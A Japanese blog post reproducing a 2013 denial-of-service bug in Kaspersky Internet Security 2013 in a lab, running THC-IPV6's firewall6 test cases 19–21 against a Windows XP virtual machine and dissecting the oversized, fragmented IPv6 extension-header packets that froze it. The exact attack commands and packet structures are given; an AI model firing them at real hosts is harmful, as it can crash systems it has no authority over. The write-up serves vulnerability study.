Kaspersky Internet Security 2013 に THC-IPV6 を実行してみた
2013 年 3 月に、Kaspersky Internet Security 2013 がフリーズしてしまう脆弱性が発覚しました。Full-Disclosure の投稿や SANS Diary によると、この脆弱性は、THC-IPV6 の firewall6 で発見されました。firewall6 がどんなパケットを送ったのか興味があったので、Kaspersky Internet Security 2013 に対して firewall6 を実行してみました。この日記では、「脆弱性を再現したときの様子」と「firewall6 が送信したパケット」について書きます。
なお、自動更新している Kaspersky Internet Security 2013 ではこの脆弱性が修正されていると思います*1。
脆弱性の再現
下記の再現環境で、Kaspersky Internet Security の脆弱性を再現しました。「BackTrack 5 R3」を起動したノート PC にて、Windows XP SP3 on VMware Player の IPv6 リンクローカルアドレスに対して firewall6 を実行しました。なお、初期状態の Windows XP SP3 には IPv6 スタックがインストールされていないため、事前にインストールしました。
「THC-IPV6」のインストール
「THC-IPV6」をインストールした手順だけメモしておきます。
# cd /tmp/ # wget http://www.thc.org/releases/thc-ipv6-2.3.tar.gz # tar xzvf thc-ipv6-2.3.tar.gz # cd thc-ipv6-2.3 # make # ./firewall6 -V ./firewall6 v2.3 (c) 2013 by van Hauser / THC <vh@thc.org> www.thc.org Syntax: ./firewall6 [-u] interface destination port [test-case-no] Performs various ACL bypass attempts to check implementations. Defaults to TCP ports, option -u switches to UDP. For all test cases to work, ICMPv6 ping to thhe destination must be allowed.
firewall6 の実行
再現環境の準備が完了したところで、下記のように firewall6 のテスト番号 19 を実行しました。すると、確認した情報通りにテスト番号 19 は FAILED となりました。
# ./firewall6 eth0 fe80::20c:29ff:fee9:c35f 12345 19 Starting firewall6: mode TCP against fe80::20c:29ff:fee9:c35f port 12345 Run a sniffer behind the firewall to see what passes through Test 19: 2kb dst + dst hdr FAILED - no reply Done.
このとき Windows XP SP3 on VMware Server を確認すると、VMware Player にフォーカスを当てキーボード・マウスを操作してもまったく反応がなく、タスクマネージャの CPU、メモリなどの数値も描画されませんでした(下図)。この結果から、Full-Disclosure の投稿に記載されていた事象を再現できたと判断しました。
firewall6 が送信したパケット
Kaspersky Internet Security 2013 をインストールした OS(再現環境では仮想マシン上の OS)を DoS 状態にしたパケットを確認したところ、この 4 パケットでした*2。
この 4 パケットは、2 つずつにフラグメント化された 2 つのパケットで構成されています。Wireshark でフラグメント化したパケットを結合して構造解析すると、下記のようになります。この構造をみると、IPv6 の拡張ヘッダ(Extension Header)「Fragment Header」 1 つと「Destination Options Header」 2 つを確認できます。「Destination Options Header」 2 つのサイズは、それぞれ 2040 バイトと 8 バイトです。
Ethernet II, Src: 00:0b:97:be:85:8c (00:0b:97:be:85:8c), Dst: 00:0c:29:e9:c3:5f (00:0c:29:e9:c3:5f) Internet Protocol Version 6, Src: fe80::20b:97ff:febe:858c (fe80::20b:97ff:febe:858c), Dst: fe80::20c:29ff:fee9:c35f (fe80::20c:29ff:fee9:c35f) 0110 .... = Version: 6 .... 0000 0000 .... .... .... .... .... = Traffic class: 0x00000000 .... .... .... 0000 0000 0000 0000 0000 = Flowlabel: 0x00000000 Payload length: 836 Next header: IPv6 fragment (44) Hop limit: 255 Source: fe80::20b:97ff:febe:858c (fe80::20b:97ff:febe:858c) [Source SA MAC: 00:0b:97:be:85:8c (00:0b:97:be:85:8c)] Destination: fe80::20c:29ff:fee9:c35f (fe80::20c:29ff:fee9:c35f) [Destination SA MAC: 00:0c:29:e9:c3:5f (00:0c:29:e9:c3:5f)] [Source GeoIP: Unknown] [Destination GeoIP: Unknown] Fragmentation Header Next header: IPv6 destination option (60) Reserved octet: 0x0000 0000 0100 1101 1... = Offset: 155 (0x009b) .... .... .... .00. = Reserved bits: 0 (0x0000) .... .... .... ...0 = More Fragment: No Identification: 0x51b3dacb [2 IPv6 Fragments (2068 bytes): #1(1240), #2(828)] Destination Option Next header: IPv6 destination option (60) Length: 254 (2040 bytes) IPv6 Option (Pad1) IPv6 Option (Pad1) ...(割愛)... Destination Option Next header: TCP (6) Length: 0 (8 bytes) IPv6 Option (Pad1) IPv6 Option (Pad1) IPv6 Option (Pad1) IPv6 Option (Pad1) IPv6 Option (Pad1) IPv6 Option (Pad1) Transmission Control Protocol, Src Port: 21019 (21019), Dst Port: 12345 (12345), Seq: 0, Len: 0
firewall6 のテスト番号 19 以外に、テスト番号 20, 21 が送信したパケットでも、Kaspersky Internet Security 2013 をインストールした OS が DoS 状態となりました。テスト番号 20, 21 が送信したパケットも確認しました。
firewall6 のテスト番号 20
下記のように firewall6 のテスト番号 20 を実行すると、テスト番号 19 と同様に FAILED という結果になりました。このとき、Kaspersky Internet Security 2013 をインストールした OS を DoS 状態にしたパケットは、この 53 パケットでした。
これらのパケットを Wireshark で開き、フラグメント化されたパケットを結合した状態で確認すると、IPv6 の拡張ヘッダ「Fragment Header」 1 つと「Destination Options Header」 32 個を確認できます。テスト番号 19 よりも「Destination Options Header」の数が大幅に増えていますが、「Fragment Header」と「Destination Options Header」 2 つの登場順序は同じです。「Destination Options Header」のサイズは、どれも 2040 バイトです。
# ./firewall6 eth0 fe80::20c:29ff:fee9:c35f 12345 20 Starting firewall6: mode TCP against fe80::20c:29ff:fee9:c35f port 12345 Run a sniffer behind the firewall to see what passes through Test 20: 32x 2kb dst hdr FAILED - no reply Done.
firewall6 のテスト番号 21
下記のように firewall6 のテスト番号 21 を実行すると、テスト番号 19, 20 と同様に FAILED という結果になりました。このとき、Kaspersky Internet Security 2013 をインストールした OS を DoS 状態にしたパケットは、この 2 パケットでした。
これらのパケットを Wireshark で開き、フラグメント化されたパケットを結合した状態で確認すると、IPv6 の拡張ヘッダ「Fragment Header」 2 つと「Destination Options Header」 2 つを確認できます。テスト番号 19 の IPv6 拡張ヘッダの最後に Fragment Header を 1 つ追加した構造です。
# ./firewall6 eth0 fe80::20c:29ff:fee9:c35f 12345 21 Starting firewall6: mode TCP against fe80::20c:29ff:fee9:c35f port 12345 Run a sniffer behind the firewall to see what passes through Test 21: 2x dst hdr + 2x frag FAILED - no reply Done.
firewall6 が送信したパケットを確認した結果
firewall6 のテスト番号19, 20, 21 が送信したパケットを確認したところ、下記の 2 つの特徴がありました。
- 「Destination Options Header」のサイズが 2040 バイトである。
- 複数の「Destination Options Header」がある。
RFC2460 では、「Destination Options Header」のサイズには上限値が言及されていません(4.2 節、4.6 節)。また RFC2460 では、Destination Options Header が 2 つ存在することを明記*3していますが、同時に拡張ヘッダ「Routing header」の前に 1 つ、IPv6 よりも上位層プロトコルヘッダの前に 1 つ登場する順序を期待しています(4.1 節)。
RFC2460 をふまえると、上記 1, 2 の取り扱いについては IPv6 実装に依存すると言えそうです。となると、Kaspersky Internet Security 2013 では、1、2 または 1 と 2 両方の取り扱いに問題があったのでしょうか。
*1:自動更新した状態の Kaspersky Internet Security 2013 に firewall6 を実行すると、この日記で書いた事象が再現しなかったことから判断しました。2013 年 3 月の Kaspersky 社による Full-Disclosure の投稿では、将来的に自動更新によって脆弱性を修正する予定となっていました。
*2:抽出したパケットを tcpreplay で送信して、同じ事象が再現することを確認しました。CloudShark にアップロードしたところ、データ表示時に "Sorry, too many sub fields to display for this protocol (2001)" というエラーが生じました。このことをふまえて、パケットキャプチャファイルを Dropbox にアップロードしました。
*3:"Each extension header should occur at most once, ..." という一文が該当します。